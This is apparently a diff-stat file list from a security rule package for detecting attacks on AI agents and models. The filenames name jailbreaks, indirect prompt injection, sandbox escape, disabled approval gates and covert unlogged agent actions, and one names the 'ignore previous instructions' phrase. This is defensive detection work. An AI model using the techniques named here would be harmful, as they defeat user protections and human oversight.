  341. package/rules/excessive-autonomy/ATR-2026-00491-garak-agent-breaker-markdown-just-raw-json.yaml +2 -2
  342. package/rules/excessive-autonomy/ATR-2026-00500-ssrf-via-agent-url-fetch-instruction.yaml +2 -2
  343. package/rules/excessive-autonomy/ATR-2026-00553-runaway-tool-loop-behavioral.yaml +15 -8
  344. package/rules/excessive-autonomy/ATR-2026-00708-ipi-financial-transfer-unauthorized.yaml +3 -3
  345. package/rules/excessive-autonomy/ATR-2026-00709-ipi-disable-auth-mfa.yaml +8 -3
  346. package/rules/excessive-autonomy/ATR-2026-00710-ipi-physical-access-grant.yaml +3 -3
  347. package/rules/excessive-autonomy/ATR-2026-00711-ipi-system-sabotage-destructive-command.yaml +8 -3
  348. package/rules/excessive-autonomy/ATR-2026-00712-ipi-malicious-package-install.yaml +3 -3
  349. package/rules/excessive-autonomy/ATR-2026-00713-ipi-rce-network-shell-command.yaml +4 -4
  350. package/rules/excessive-autonomy/ATR-2026-00718-tool-misuse-financial-autonomous.yaml +2 -2
  351. package/rules/excessive-autonomy/ATR-2026-00719-tool-misuse-destructive-bulk-action.yaml +2 -2
  352. package/rules/excessive-autonomy/ATR-2026-00722-ipi-account-manipulation-emergency-pretext.yaml +8 -3
  353. package/rules/excessive-autonomy/ATR-2026-01751-indirect-pi-task-abort-stop-instruction.yaml +3 -3
  354. package/rules/excessive-autonomy/ATR-2026-01752-indirect-pi-captcha-redirect-dos.yaml +4 -4
  355. package/rules/excessive-autonomy/ATR-2026-01773-semantic-excessive-agency-action.yaml +3 -3
  356. package/rules/excessive-autonomy/ATR-2026-01801-asb-autonomous-vehicle-sabotage.yaml +4 -4
  357. package/rules/excessive-autonomy/ATR-2026-01804-asb-covert-unlogged-action.yaml +4 -4
  358. package/rules/excessive-autonomy/ATR-2026-01805-asb-financial-fraud-execution.yaml +4 -4
  359. package/rules/excessive-autonomy/ATR-2026-01806-asb-clinical-patient-harm.yaml +4 -4
  360. package/rules/excessive-autonomy/ATR-2026-01809-semantic-insider-manipulation-process-corruption.yaml +5 -5
  361. package/rules/excessive-autonomy/ATR-2026-01837-ddos-attack-orchestration.yaml +4 -4
  362. package/rules/excessive-autonomy/ATR-2026-01838-unauthorized-cryptominer-deployment.yaml +4 -4
  363. package/rules/excessive-autonomy/ATR-2026-01849-harassment-bot-deployment.yaml +4 -4
  364. package/rules/excessive-autonomy/ATR-2026-01989-t1046-agent-internal-network-sweep.yaml +3 -3
  365. package/rules/excessive-autonomy/ATR-2026-01993-t1562-agent-impair-defenses.yaml +3 -3
  366. package/rules/excessive-autonomy/ATR-2026-01994-t1573-agent-encrypted-c2-channel.yaml +3 -3
  367. package/rules/excessive-autonomy/ATR-2026-02106-redos-regex-payload-tool-argument.yaml +2 -3
  368. package/rules/excessive-autonomy/ATR-2026-02400-agent-approval-gate-disabled-runtime.yaml +382 -0
  369. package/rules/excessive-autonomy/ATR-2026-02401-rogue-agent-mass-connector-grant.yaml +274 -0
  370. package/rules/excessive-autonomy/ATR-2026-02409-mcp-async-task-abuse.yaml +397 -0
  371. package/rules/model-abuse/ATR-2026-00279-harmful-completion-continuation.yaml +2 -2
  372. package/rules/model-abuse/ATR-2026-00281-eicar-gtube-malware-signature-request.yaml +2 -2
  373. package/rules/model-abuse/ATR-2026-00284-glitch-token-destabilization.yaml +2 -2
  374. package/rules/model-abuse/ATR-2026-00289-lmrc-harmful-content-elicitation.yaml +2 -2
  375. package/rules/model-abuse/ATR-2026-00292-self-harm-eating-disorder-facilitation.yaml +2 -2
  376. package/rules/model-abuse/ATR-2026-00298-malicious-use-illegal-activity-request.yaml +4 -4
  377. package/rules/model-abuse/ATR-2026-00299-harmbench-detailed-harmful-instruction.yaml +4 -4
  378. package/rules/model-abuse/ATR-2026-00413-malwaregen-code-generation-request.yaml +3 -3
  379. package/rules/model-abuse/ATR-2026-00502-training-data-extraction-via-divergent-repetition-attack.yaml +10 -4
  380. package/rules/model-abuse/ATR-2026-00517-model-extraction-distillation.yaml +42 -6
  381. package/rules/model-abuse/ATR-2026-01750-dos-repeat-word-n-times-output-amplification.yaml +16 -4
  382. package/rules/model-abuse/ATR-2026-01760-dos-forced-infinite-output-token-flood.yaml +2 -2
  383. package/rules/model-abuse/ATR-2026-01830-stolen-credential-account-drain.yaml +4 -4
  384. package/rules/model-abuse/ATR-2026-01831-money-laundering-crypto-layering.yaml +4 -4
  385. package/rules/model-abuse/ATR-2026-01833-darknet-controlled-substance-procurement.yaml +4 -4
  386. package/rules/model-abuse/ATR-2026-01834-fraudulent-identity-document-procurement.yaml +4 -4
  387. package/rules/model-abuse/ATR-2026-01835-human-trafficking-facilitation.yaml +4 -4
  388. package/rules/model-abuse/ATR-2026-01836-trojanized-software-distribution.yaml +4 -4
  389. package/rules/model-abuse/ATR-2026-01840-extremist-propaganda-distribution.yaml +4 -4
  390. package/rules/model-abuse/ATR-2026-01841-deepfake-disinformation.yaml +7 -4
  391. package/rules/model-abuse/ATR-2026-01842-plagiarism-detector-evasion.yaml +4 -4
  392. package/rules/model-abuse/ATR-2026-01843-drug-dealing-detection-evasion-spelling.yaml +4 -4
  393. package/rules/model-abuse/ATR-2026-01844-illegitimate-prescription-fulfillment.yaml +4 -4
  394. package/rules/model-abuse/ATR-2026-01845-banned-ingredient-relabel-fraud.yaml +4 -4
  395. package/rules/model-abuse/ATR-2026-01846-tax-evasion-offshore-shell-planning.yaml +4 -4
  396. package/rules/model-abuse/ATR-2026-01847-immigration-work-fraud.yaml +4 -4
  397. package/rules/model-abuse/ATR-2026-01848-illicit-drug-marketplace-build.yaml +4 -4
  398. package/rules/model-abuse/ATR-2026-01850-targeted-doxxing-threat-campaign.yaml +4 -4
  399. package/rules/model-abuse/ATR-2026-01851-bestiality-content-distribution.yaml +4 -4
  400. package/rules/model-abuse/ATR-2026-01852-romance-scam-impersonation.yaml +4 -4
  401. package/rules/model-abuse/ATR-2026-01853-nonconsensual-leaked-media-distribution.yaml +4 -4
  402. package/rules/model-abuse/ATR-2026-01854-falsified-research-abstract-disinformation.yaml +4 -4
  403. package/rules/model-abuse/ATR-2026-01855-content-misappropriation-republish.yaml +4 -4
  404. package/rules/model-abuse/ATR-2026-01856-targeted-harmful-content-generation.yaml +4 -4
  405. package/rules/model-abuse/ATR-2026-01896-ransomware.yaml +2 -2
  406. package/rules/model-abuse/ATR-2026-01897-host-sabotage.yaml +2 -2
  407. package/rules/model-abuse/ATR-2026-01898-network-dos.yaml +2 -2
  408. package/rules/model-abuse/ATR-2026-02211-named-substance-synthesis-request-non-stepword.yaml +2 -3
  409. package/rules/model-abuse/ATR-2026-02411-ai-provenance-metadata-stripping.yaml +274 -0
  410. package/rules/model-abuse/ATR-2026-02412-generative-watermark-removal-tooling.yaml +233 -0
  411. package/rules/model-abuse/ATR-2026-02413-ai-text-detection-evasion-humanizer.yaml +258 -0
  412. package/rules/model-security/ATR-2026-00072-model-behavior-extraction.yaml +3 -4
  413. package/rules/model-security/ATR-2026-00073-malicious-finetuning-data.yaml +11 -8
  414. package/rules/model-security/ATR-2026-00433-modelcache-torch-load-deserialization-rce.yaml +4 -4
  415. package/rules/privilege-escalation/ATR-2026-00040-privilege-escalation.yaml +10 -8
  416. package/rules/privilege-escalation/ATR-2026-00041-scope-creep.yaml +2 -3
  417. package/rules/privilege-escalation/ATR-2026-00107-delayed-execution-bypass.yaml +9 -10
  418. package/rules/privilege-escalation/ATR-2026-00110-eval-injection.yaml +2 -3
  419. package/rules/privilege-escalation/ATR-2026-00111-shell-escape.yaml +6 -4
  420. package/rules/privilege-escalation/ATR-2026-00112-dynamic-import-exploitation.yaml +2 -3
  421. package/rules/privilege-escalation/ATR-2026-00143-casual-privilege-escalation.yaml +2 -3
  422. package/rules/privilege-escalation/ATR-2026-00144-rationalized-safety-bypass.yaml +2 -3
  423. package/rules/privilege-escalation/ATR-2026-00204-stealth-execution-persistence.yaml +4 -4
  424. package/rules/privilege-escalation/ATR-2026-00436-enclave-vm-sandbox-escape-rce.yaml +4 -4
  425. package/rules/privilege-escalation/ATR-2026-00441-semantic-kernel-sessions-python-plugin-startup-persistence.yaml +5 -5
  426. package/rules/privilege-escalation/ATR-2026-00451-litellm-admin-sqli-cisa-kev.yaml +4 -4
  427. package/rules/privilege-escalation/ATR-2026-00528-praisonai-auth-disabled-default.yaml +2 -2
  428. package/rules/privilege-escalation/ATR-2026-00539-crewai-codeinterpreter-sandbox-escape-rce.yaml +4 -5
  429. package/rules/privilege-escalation/ATR-2026-00546-crewai-json-loader-local-file-read.yaml +3 -4
  430. package/rules/privilege-escalation/ATR-2026-00547-crewai-rag-url-ssrf-bypass.yaml +3 -4
  431. package/rules/privilege-escalation/ATR-2026-00549-destructive-tool-without-human-approval.yaml +23 -10
  432. package/rules/privilege-escalation/ATR-2026-00551-cross-conversation-memory-write.yaml +23 -10
  433. package/rules/privilege-escalation/ATR-2026-01600-sql-injection-tautology-rbac-bypass.yaml +4 -4
  434. package/rules/privilege-escalation/ATR-2026-01601-sql-injection-destructive-ddl.yaml +2 -2
  435. package/rules/privilege-escalation/ATR-2026-01602-sql-injection-union-select-exfil.yaml +2 -2
  436. package/rules/privilege-escalation/ATR-2026-01603-sql-injection-stacked-dml-abuse.yaml +3 -3
  437. package/rules/privilege-escalation/ATR-2026-01604-sql-injection-schema-enumeration.yaml +3 -3
  438. package/rules/privilege-escalation/ATR-2026-01609-shell-injection-exfil-webhook.yaml +3 -3
  439. package/rules/privilege-escalation/ATR-2026-01610-shell-evasion-subshell-injection.yaml +9 -4
  440. package/rules/privilege-escalation/ATR-2026-01611-shell-evasion-eval-exec-injection.yaml +3 -3
  441. package/rules/privilege-escalation/ATR-2026-01612-debug-mode-privilege-escalation.yaml +3 -3
  442. package/rules/privilege-escalation/ATR-2026-01613-rbac-bypass-social-engineering.yaml +2 -2
  443. package/rules/privilege-escalation/ATR-2026-01614-bola-cross-user-data-access.yaml +16 -4
  444. package/rules/privilege-escalation/ATR-2026-01615-sandbox-escape-command-injection.yaml +3 -3
  445. package/rules/privilege-escalation/ATR-2026-01616-path-traversal-agent-file-access.yaml +4 -4
  446. package/rules/privilege-escalation/ATR-2026-01802-asb-backdoor-surveillance-implant.yaml +4 -4
  447. package/rules/privilege-escalation/ATR-2026-01803-asb-covert-server-intrusion.yaml +4 -4
  448. package/rules/privilege-escalation/ATR-2026-01808-asb-synthetic-pan-payment-probe.yaml +4 -4
  449. package/rules/privilege-escalation/ATR-2026-01899-remote-access-backdoor.yaml +2 -2
  450. package/rules/privilege-escalation/ATR-2026-01933-litellm-user-role-privilege-escalation-cve-2026-47102.yaml +4 -5
  451. package/rules/privilege-escalation/ATR-2026-01934-litellm-allowed-routes-authz-bypass-cve-2026-47101.yaml +4 -5
  452. package/rules/privilege-escalation/ATR-2026-01949-praisonai-mcpserver-unauth-tools-call.yaml +3 -4
  453. package/rules/privilege-escalation/ATR-2026-01974-anything-llm-data-import-access-control.yaml +3 -4
  454. package/rules/privilege-escalation/ATR-2026-01981-network-ai-approval-inbox-unauth-cors-bypass.yaml +4 -5
  455. package/rules/privilege-escalation/ATR-2026-01986-windows-mcp-unauth-http-powershell-cors.yaml +4 -5
  456. package/rules/privilege-escalation/ATR-2026-01992-t1556-agent-auth-process-tamper.yaml +3 -3
  457. package/rules/privilege-escalation/ATR-2026-02040-file-edit-tool-persistence-write.yaml +2 -3
  458. package/rules/privilege-escalation/ATR-2026-02100-cypher-destructive-admin-query-injection.yaml +2 -3
  459. package/rules/privilege-escalation/ATR-2026-02101-dynamic-dunder-attribute-sandbox-escape.yaml +2 -3
  460. package/rules/privilege-escalation/ATR-2026-02123-bare-query-path-confusion-auth-bypass.yaml +2 -3
  461. package/rules/privilege-escalation/ATR-2026-02142-download-tool-absolute-path-sandbox-escape.yaml +2 -3
  462. package/rules/privilege-escalation/ATR-2026-02146-export-tool-dest-dir-credential-directory-redirect.yaml +2 -3
  463. package/rules/privilege-escalation/ATR-2026-02192-self-privesc-wildcard-trust-config-write.yaml +2 -3
  464. package/rules/privilege-escalation/ATR-2026-02195-dangerous-env-var-injection-config-tool.yaml +2 -3
  465. package/rules/privilege-escalation/ATR-2026-02251-identifier-field-path-traversal-storage-write.yaml +2 -3
  466. package/rules/privilege-escalation/ATR-2026-02300-mcp-stdio-config-dangerous-env-var.yaml +2 -3
  467. package/rules/privilege-escalation/ATR-2026-02301-symlink-outside-workspace-sensitive-target.yaml +2 -3
  468. package/rules/privilege-escalation/ATR-2026-02302-git-worktree-dotgit-sandbox-escape.yaml +2 -3
  469. package/rules/privilege-escalation/ATR-2026-02353-runtime-identifier-field-path-traversal-log-read.yaml +2 -3
  470. package/rules/privilege-escalation/ATR-2026-02370-ssh-scp-hostalias-option-injection.yaml +4 -5
  471. package/rules/privilege-escalation/ATR-2026-02371-chromium-launch-flag-argument-injection.yaml +4 -5
  472. package/rules/privilege-escalation/ATR-2026-02402-mcp-policy-engine-fail-open.yaml +293 -0
  473. package/rules/privilege-escalation/ATR-2026-02404-model-output-to-shell-unsanitized.yaml +269 -0
  474. package/rules/privilege-escalation/ATR-2026-02407-agent-workspace-boundary-escape.yaml +310 -0
  475. package/rules/prompt-injection/ATR-2026-00001-direct-prompt-injection.yaml +3 -4
  476. package/rules/prompt-injection/ATR-2026-00002-indirect-prompt-injection.yaml +4 -5
  477. package/rules/prompt-injection/ATR-2026-00003-jailbreak-attempt.yaml +30 -9
  478. package/rules/prompt-injection/ATR-2026-00004-system-prompt-override.yaml +31 -14
  479. package/rules/prompt-injection/ATR-2026-00005-multi-turn-injection.yaml +2 -3
  480. package/rules/prompt-injection/ATR-2026-00080-encoding-evasion.yaml +3 -4
  481. package/rules/prompt-injection/ATR-2026-00081-semantic-multi-turn.yaml +8 -6
  482. package/rules/prompt-injection/ATR-2026-00082-fingerprint-evasion.yaml +14 -7
  483. package/rules/prompt-injection/ATR-2026-00083-indirect-tool-injection.yaml +14 -7
  484. package/rules/prompt-injection/ATR-2026-00084-structured-data-injection.yaml +36 -6
  485. package/rules/prompt-injection/ATR-2026-00085-audit-evasion.yaml +14 -7
  486. package/rules/prompt-injection/ATR-2026-00086-visual-spoofing.yaml +77 -14
  487. package/rules/prompt-injection/ATR-2026-00087-rule-probing.yaml +19 -10
  488. package/rules/prompt-injection/ATR-2026-00088-adaptive-countermeasure.yaml +27 -11
  489. package/rules/prompt-injection/ATR-2026-00089-polymorphic-skill.yaml +66 -7
  490. package/rules/prompt-injection/ATR-2026-00090-threat-intel-exfil.yaml +15 -8
  491. package/rules/prompt-injection/ATR-2026-00091-nested-payload.yaml +44 -10
  492. package/rules/prompt-injection/ATR-2026-00092-consensus-poisoning.yaml +10 -8
  493. package/rules/prompt-injection/ATR-2026-00093-gradual-escalation.yaml +9 -8
  494. package/rules/prompt-injection/ATR-2026-00094-audit-bypass.yaml +9 -7
  495. package/rules/prompt-injection/ATR-2026-00097-cjk-injection-patterns.yaml +9 -6
  496. package/rules/prompt-injection/ATR-2026-00104-persona-hijacking.yaml +4 -5
  497. package/rules/prompt-injection/ATR-2026-00130-indirect-authority-claim.yaml +3 -4
  498. package/rules/prompt-injection/ATR-2026-00131-fictional-academic-framing.yaml +2 -3
  499. package/rules/prompt-injection/ATR-2026-00133-paraphrase-injection.yaml +2 -3
  500. package/rules/prompt-injection/ATR-2026-00137-authority-claim-injection.yaml +2 -3
  501. package/rules/prompt-injection/ATR-2026-00138-fictional-framing-bypass.yaml +2 -3
  502. package/rules/prompt-injection/ATR-2026-00140-indirect-reference-reversal.yaml +2 -3
  503. package/rules/prompt-injection/ATR-2026-00148-language-switch-injection.yaml +2 -3
  504. package/rules/prompt-injection/ATR-2026-00153-tool-with-embedded-instruction-to-bypass.yaml +3 -4
  505. package/rules/prompt-injection/ATR-2026-00154-unauthorized-background-task-execution-v.yaml +3 -4
  506. package/rules/prompt-injection/ATR-2026-00155-hidden-llm-instructions-in-skill-descrip.yaml +4 -5
  507. package/rules/prompt-injection/ATR-2026-00156-ssh-remote-command-execution-with-creden.yaml +3 -4
  508. package/rules/prompt-injection/ATR-2026-00163-skill-hidden-override-instruction.yaml +2 -2
  509. package/rules/prompt-injection/ATR-2026-00202-encoding-evasion-homoglyph-synonym.yaml +2 -2
  510. package/rules/prompt-injection/ATR-2026-00203-context-pollution-skill-description.yaml +4 -4
  511. package/rules/prompt-injection/ATR-2026-00206-hidden-priority-instructions.yaml +2 -2
  512. package/rules/prompt-injection/ATR-2026-00207-hidden-instructions.yaml +2 -2
  513. package/rules/prompt-injection/ATR-2026-00211-system-prompt-override.yaml +2 -2
  514. package/rules/prompt-injection/ATR-2026-00213-system-prompt-override.yaml +28 -4
  515. package/rules/prompt-injection/ATR-2026-00226-identity-substitution.yaml +2 -2
  516. package/rules/prompt-injection/ATR-2026-00227-historical-persona-jailbreak.yaml +2 -2
  517. package/rules/prompt-injection/ATR-2026-00228-structured-jailbreak.yaml +2 -2
  518. package/rules/prompt-injection/ATR-2026-00229-roleplay-jailbreak.yaml +2 -2
  519. package/rules/prompt-injection/ATR-2026-00230-persona-moral-bypass.yaml +2 -2
  520. package/rules/prompt-injection/ATR-2026-00231-identity-substitution.yaml +2 -2
  521. package/rules/prompt-injection/ATR-2026-00233-structured-jailbreak.yaml +2 -2
  522. package/rules/prompt-injection/ATR-2026-00234-roleplay-jailbreak.yaml +2 -2
  523. package/rules/prompt-injection/ATR-2026-00235-persona-moral-bypass.yaml +2 -2
  524. package/rules/prompt-injection/ATR-2026-00236-pseudo-code-jailbreak.yaml +2 -2
  525. package/rules/prompt-injection/ATR-2026-00237-dual-response-jailbreak.yaml +2 -2
  526. package/rules/prompt-injection/ATR-2026-00238-identity-replacement.yaml +5 -2
  527. package/rules/prompt-injection/ATR-2026-00239-amoral-persona-obsession.yaml +2 -2
  528. package/rules/prompt-injection/ATR-2026-00240-instruction-nullification-identity-repla.yaml +2 -2
  529. package/rules/prompt-injection/ATR-2026-00241-amoral-character-jailbreak.yaml +2 -2
  530. package/rules/prompt-injection/ATR-2026-00242-persona-jailbreak.yaml +2 -2
  531. package/rules/prompt-injection/ATR-2026-00243-acronym-jailbreak.yaml +2 -2
  532. package/rules/prompt-injection/ATR-2026-00244-dual-response-jailbreak.yaml +2 -2
  533. package/rules/prompt-injection/ATR-2026-00245-malicious-persona.yaml +2 -2
  534. package/rules/prompt-injection/ATR-2026-00247-dual-response-jailbreak.yaml +2 -2
  535. package/rules/prompt-injection/ATR-2026-00249-game-based-jailbreak.yaml +2 -2
  536. package/rules/prompt-injection/ATR-2026-00251-persona-embodiment-jailbreak.yaml +2 -2
  537. package/rules/prompt-injection/ATR-2026-00252-narrative-jailbreak.yaml +2 -2
  538. package/rules/prompt-injection/ATR-2026-00253-enhanced-persona-jailbreak.yaml +2 -2
  539. package/rules/prompt-injection/ATR-2026-00256-base-n-encoding-jailbreak.yaml +2 -2
  540. package/rules/prompt-injection/ATR-2026-00257-cipher-transposition-jailbreak.yaml +2 -2
  541. package/rules/prompt-injection/ATR-2026-00258-unicode-tag-injection.yaml +2 -2
  542. package/rules/prompt-injection/ATR-2026-00264-latent-injection-translation.yaml +2 -2
  543. package/rules/prompt-injection/ATR-2026-00265-latent-injection-rag-document.yaml +2 -2
  544. package/rules/prompt-injection/ATR-2026-00267-gcg-adversarial-suffix.yaml +2 -2
  545. package/rules/prompt-injection/ATR-2026-00272-hypothetical-response-smuggling.yaml +2 -2
  546. package/rules/prompt-injection/ATR-2026-00276-invisible-unicode-bidi-injection.yaml +2 -2
  547. package/rules/prompt-injection/ATR-2026-00278-dra-disguise-reconstruction-attack.yaml +2 -2
  548. package/rules/prompt-injection/ATR-2026-00280-policy-puppetry-xml-injection.yaml +2 -2
  549. package/rules/prompt-injection/ATR-2026-00282-perez-prompt-injection-hijack.yaml +2 -2
  550. package/rules/prompt-injection/ATR-2026-00285-alternate-encoding-jailbreak.yaml +2 -2
  551. package/rules/prompt-injection/ATR-2026-00286-latent-injection-embedded-context.yaml +2 -2
  552. package/rules/prompt-injection/ATR-2026-00296-shell-command-injection.yaml +4 -4
  553. package/rules/prompt-injection/ATR-2026-00297-python-code-execution-rce.yaml +4 -4
  554. package/rules/prompt-injection/ATR-2026-00308-zalgo-diacritic-overload-encoding.yaml +2 -2
  555. package/rules/prompt-injection/ATR-2026-00309-braille-unicode-encoded-injection.yaml +2 -2
  556. package/rules/prompt-injection/ATR-2026-00310-ecoji-emoji-encoded-injection.yaml +2 -2
  557. package/rules/prompt-injection/ATR-2026-00311-base2048-unicode-script-injection.yaml +2 -2
  558. package/rules/prompt-injection/ATR-2026-00312-unicode-variant-selector-ascii-smuggling.yaml +2 -2
  559. package/rules/prompt-injection/ATR-2026-00313-sneaky-bits-zero-width-binary.yaml +2 -2
  560. package/rules/prompt-injection/ATR-2026-00315-sata-masked-language-model-jailbreak.yaml +2 -2
  561. package/rules/prompt-injection/ATR-2026-00316-function-masking-predict-mask-bypass.yaml +2 -2
  562. package/rules/prompt-injection/ATR-2026-00321-hyphenated-system-instruction-injection.yaml +2 -2
  563. package/rules/prompt-injection/ATR-2026-00359-bank-phishing-smtp-email-code.yaml +3 -3
  564. package/rules/prompt-injection/ATR-2026-00367-emoji-flag-encoded-hidden-phrase.yaml +2 -2
  565. package/rules/prompt-injection/ATR-2026-00373-piracy-torrent-site-list-request.yaml +3 -3
  566. package/rules/prompt-injection/ATR-2026-00378-chatgpt-dom-javascript-redirect-manipulation.yaml +2 -2
  567. package/rules/prompt-injection/ATR-2026-00382-cocaine-component-development-request.yaml +3 -3
  568. package/rules/prompt-injection/ATR-2026-00390-explicit-sexual-content-poem-request.yaml +2 -2
  569. package/rules/prompt-injection/ATR-2026-00394-backspace-deletion-character-injection.yaml +2 -2
  570. package/rules/prompt-injection/ATR-2026-00395-llm-special-token-boundary-injection.yaml +4 -4
  571. package/rules/prompt-injection/ATR-2026-00396-toxic-continuation-prefix-injection.yaml +4 -4
  572. package/rules/prompt-injection/ATR-2026-00397-snowball-impossible-reasoning-injection.yaml +4 -4
  573. package/rules/prompt-injection/ATR-2026-00399-latent-injection-document-separator-token.yaml +4 -4
  574. package/rules/prompt-injection/ATR-2026-00400-latent-injection-ignore-instruction-keyword.yaml +2 -2
  575. package/rules/prompt-injection/ATR-2026-00401-leakreplay-cloze-mask-training-data-elicitation.yaml +3 -3
  576. package/rules/prompt-injection/ATR-2026-00403-glitch-token-repeat-back-elicitation.yaml +3 -3
  577. package/rules/prompt-injection/ATR-2026-00407-echo-sql-jinja-template-injection.yaml +4 -4
  578. package/rules/prompt-injection/ATR-2026-00408-dra-parenthesis-character-reconstruction-attack.yaml +2 -2
  579. package/rules/prompt-injection/ATR-2026-00409-phrasing-past-future-tense-harmful-query.yaml +2 -2
  580. package/rules/prompt-injection/ATR-2026-00410-lmrc-harm-category-direct-elicitation.yaml +3 -3
  581. package/rules/prompt-injection/ATR-2026-00412-figstep-image-list-multimodal-jailbreak.yaml +2 -2
  582. package/rules/prompt-injection/ATR-2026-00414-continuation-ethnic-slur-completion-elicitation.yaml +3 -3
  583. package/rules/prompt-injection/ATR-2026-00420-copilot-studio-sharepoint-indirect-injection.yaml +4 -4
  584. package/rules/prompt-injection/ATR-2026-00442-quoted-exact-output-forcing.yaml +4 -4
  585. package/rules/prompt-injection/ATR-2026-00443-word-fragment-concat-assembly.yaml +13 -4
  586. package/rules/prompt-injection/ATR-2026-00444-unicode-obfuscation-in-user-input.yaml +2 -2
  587. package/rules/prompt-injection/ATR-2026-00445-translation-hijack-with-side-output.yaml +4 -4
  588. package/rules/prompt-injection/ATR-2026-00446-variable-assignment-payload-injection.yaml +3 -3
  589. package/rules/prompt-injection/ATR-2026-00447-fictional-generation-containing-target.yaml +3 -3
  590. package/rules/prompt-injection/ATR-2026-00452-direct-pwned-payload-injection.yaml +2 -2
  591. package/rules/prompt-injection/ATR-2026-00453-secret-key-reveal-demand.yaml +2 -2
  592. package/rules/prompt-injection/ATR-2026-00454-backslash-per-character-encoding.yaml +7 -4
  593. package/rules/prompt-injection/ATR-2026-00455-no-period-output-override.yaml +2 -2
  594. package/rules/prompt-injection/ATR-2026-00456-conditional-empty-input-injection.yaml +2 -2
  595. package/rules/prompt-injection/ATR-2026-00457-garak-dan-to-every-prompt.yaml +2 -2
  596. package/rules/prompt-injection/ATR-2026-00458-garak-dra-step-by-step.yaml +2 -2
  597. package/rules/prompt-injection/ATR-2026-00459-garak-dan-an-ai-language.yaml +2 -2
  598. package/rules/prompt-injection/ATR-2026-00460-garak-dan-no-matter-how.yaml +2 -2
  599. package/rules/prompt-injection/ATR-2026-00461-garak-goodside-mixedunassigned.yaml +2 -2
  600. package/rules/prompt-injection/ATR-2026-00462-garak-gcg-mixedunassigned.yaml +2 -2
  601. package/rules/prompt-injection/ATR-2026-00463-garak-lmrc-mixedunassigned.yaml +2 -2
  602. package/rules/prompt-injection/ATR-2026-00464-garak-dan-i-would-like.yaml +2 -2
  603. package/rules/prompt-injection/ATR-2026-00465-garak-dan-your-prompt-here.yaml +2 -2
  604. package/rules/prompt-injection/ATR-2026-00466-garak-latentinjection-following-text-from.yaml +2 -2
  605. package/rules/prompt-injection/ATR-2026-00467-garak-dan-act-as-a.yaml +2 -2
  606. package/rules/prompt-injection/ATR-2026-00468-garak-goat-the-target-llm.yaml +2 -2
  607. package/rules/prompt-injection/ATR-2026-00469-garak-dan-at-the-end.yaml +2 -2
  608. package/rules/prompt-injection/ATR-2026-00470-garak-dan-as-an-ai.yaml +2 -2
  609. package/rules/prompt-injection/ATR-2026-00472-garak-dan-are-going-to.yaml +3 -3
  610. package/rules/prompt-injection/ATR-2026-00473-garak-lmrc-how-can-i.yaml +2 -2
  611. package/rules/prompt-injection/ATR-2026-00474-garak-dan-that-chatgpt-has.yaml +2 -2
  612. package/rules/prompt-injection/ATR-2026-00475-garak-web-injection-alert-1-script.yaml +2 -2
  613. package/rules/prompt-injection/ATR-2026-00476-garak-web-injection-javascript-alert-1.yaml +2 -2
  614. package/rules/prompt-injection/ATR-2026-00477-garak-latentinjection-translate-the-following-text.yaml +2 -2
  615. package/rules/prompt-injection/ATR-2026-00478-garak-latentinjection-abuse-contact-email.yaml +2 -2
  616. package/rules/prompt-injection/ATR-2026-00479-garak-latentinjection-mixedunassigned.yaml +2 -2
  617. package/rules/prompt-injection/ATR-2026-00480-garak-dan-the-role-of.yaml +2 -2
  618. package/rules/prompt-injection/ATR-2026-00481-garak-dan-mixedunassigned.yaml +2 -2
  619. package/rules/prompt-injection/ATR-2026-00482-garak-lmrc-what-s-an.yaml +2 -2
  620. package/rules/prompt-injection/ATR-2026-00483-garak-dan-the-user-s.yaml +2 -2
  621. package/rules/prompt-injection/ATR-2026-00484-garak-dan-and-you-will.yaml +2 -2
  622. package/rules/prompt-injection/ATR-2026-00485-garak-dan-and-does-not.yaml +3 -3
  623. package/rules/prompt-injection/ATR-2026-00486-garak-dan-t-care-about.yaml +2 -2
  624. package/rules/prompt-injection/ATR-2026-00487-garak-dan-and-nothing-else.yaml +2 -2
  625. package/rules/prompt-injection/ATR-2026-00488-garak-encoding-alert-1-script.yaml +2 -2
  626. package/rules/prompt-injection/ATR-2026-00489-garak-encoding-javascript-alert-1.yaml +2 -2
  627. package/rules/prompt-injection/ATR-2026-00490-garak-dan-in-order-to.yaml +2 -2
  628. package/rules/prompt-injection/ATR-2026-00492-garak-dan-want-you-to.yaml +2 -2
  629. package/rules/prompt-injection/ATR-2026-00493-garak-latentinjection-registrar-iana-id.yaml +2 -2
  630. package/rules/prompt-injection/ATR-2026-00495-garak-dan-insert-prompt-here.yaml +2 -2
  631. package/rules/prompt-injection/ATR-2026-00496-garak-dan-no-matter-what.yaml +2 -2
  632. package/rules/prompt-injection/ATR-2026-00497-garak-encoding-mixedunassigned.yaml +2 -2
  633. package/rules/prompt-injection/ATR-2026-00498-garak-web-injection-mixedunassigned.yaml +2 -2
  634. package/rules/prompt-injection/ATR-2026-00499-garak-dan-from-now-on.yaml +2 -2
  635. package/rules/prompt-injection/ATR-2026-00503-fake-error-state-takeover-unrestricted-replacement-bot.yaml +2 -2
  636. package/rules/prompt-injection/ATR-2026-00506-nevermind-override-goal-hijacking-in-user-input-promptinject.yaml +2 -2
  637. package/rules/prompt-injection/ATR-2026-00507-screaming-stop-goal-hijacking-in-user-input-promptinject.yaml +2 -2
  638. package/rules/prompt-injection/ATR-2026-00508-escape-delimiter-wrapped-goal-hijacking-in-user-input-prompt.yaml +2 -2
  639. package/rules/prompt-injection/ATR-2026-00509-prompt-leaking-via-ignore-previous-instructions-in-user-inpu.yaml +2 -2
  640. package/rules/prompt-injection/ATR-2026-00510-delayed-tool-invocation-injection.yaml +4 -4
  641. package/rules/prompt-injection/ATR-2026-00511-mcp-web-context-poisoning.yaml +7 -2
  642. package/rules/prompt-injection/ATR-2026-00512-rules-file-backdoor-injection.yaml +2 -2
  643. package/rules/prompt-injection/ATR-2026-00515-hidden-text-prompt-injection.yaml +3 -3
  644. package/rules/prompt-injection/ATR-2026-00518-ignore-previous-and-following-instructions-output-command-promptinject.yaml +2 -2
  645. package/rules/prompt-injection/ATR-2026-00519-tautology-logic-noise-injection-promptbench.yaml +2 -2
  646. package/rules/prompt-injection/ATR-2026-00520-nlp-task-random-token-suffix-injection-promptbench.yaml +2 -2
  647. package/rules/prompt-injection/ATR-2026-00535-windsurf-ide-zero-click-prompt-injection.yaml +4 -4
  648. package/rules/prompt-injection/ATR-2026-00550-untrusted-retrieval-to-privileged-tool.yaml +23 -12
  649. package/rules/prompt-injection/ATR-2026-00554-langchain-vulnerable-to-template-injecti.yaml +2 -2
  650. package/rules/prompt-injection/ATR-2026-00565-the-llm-cli-tool-thru-0-27-1-contains-a-.yaml +2 -2
